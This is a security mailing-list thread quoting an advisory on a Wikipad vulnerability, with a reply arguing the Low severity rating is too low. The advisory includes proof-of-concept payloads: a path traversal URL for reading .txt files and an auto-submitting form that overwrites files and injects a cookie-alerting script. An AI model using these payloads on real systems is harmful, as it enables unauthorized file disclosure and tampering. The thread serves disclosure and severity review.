HTB22827: File Content Disclosure in Wikipad Feb 15 2011 11:11AM
advisory htbridge ch (1 replies)
Re: HTB22827: File Content Disclosure in Wikipad Apr 29 2011 05:02AM
security curmudgeon (jericho attrition org)

: Vulnerability ID: HTB22827
: Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html

: Vulnerability Type: File Content Disclosure
: Risk level: Low

: Vulnerability Details:
: The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system.
: The following PoC is available:
: http://host/pages.php?id=./../../../../../txt_file

So you can dump the contents of an arbitrary file, presumably outside the
web root, and this is 'Low' severity? Ok, perhaps authentication is
required or something else makes it a bit tricky..

: Also, we can change content of this file by using PoC:
: <form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&t
itle=test" method="post" name="main">
: <input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
: </form>
: <script>
: document.main.submit();
: </script>

Now you can *edit* any file on the system, and this is 'Low' severity?
Worse, you throw in some script code instead of editing something a bit
more serious like editing a system startup file, passwd or some other form
of remote access?

At the very least, this would be 'Medium' by most standards.

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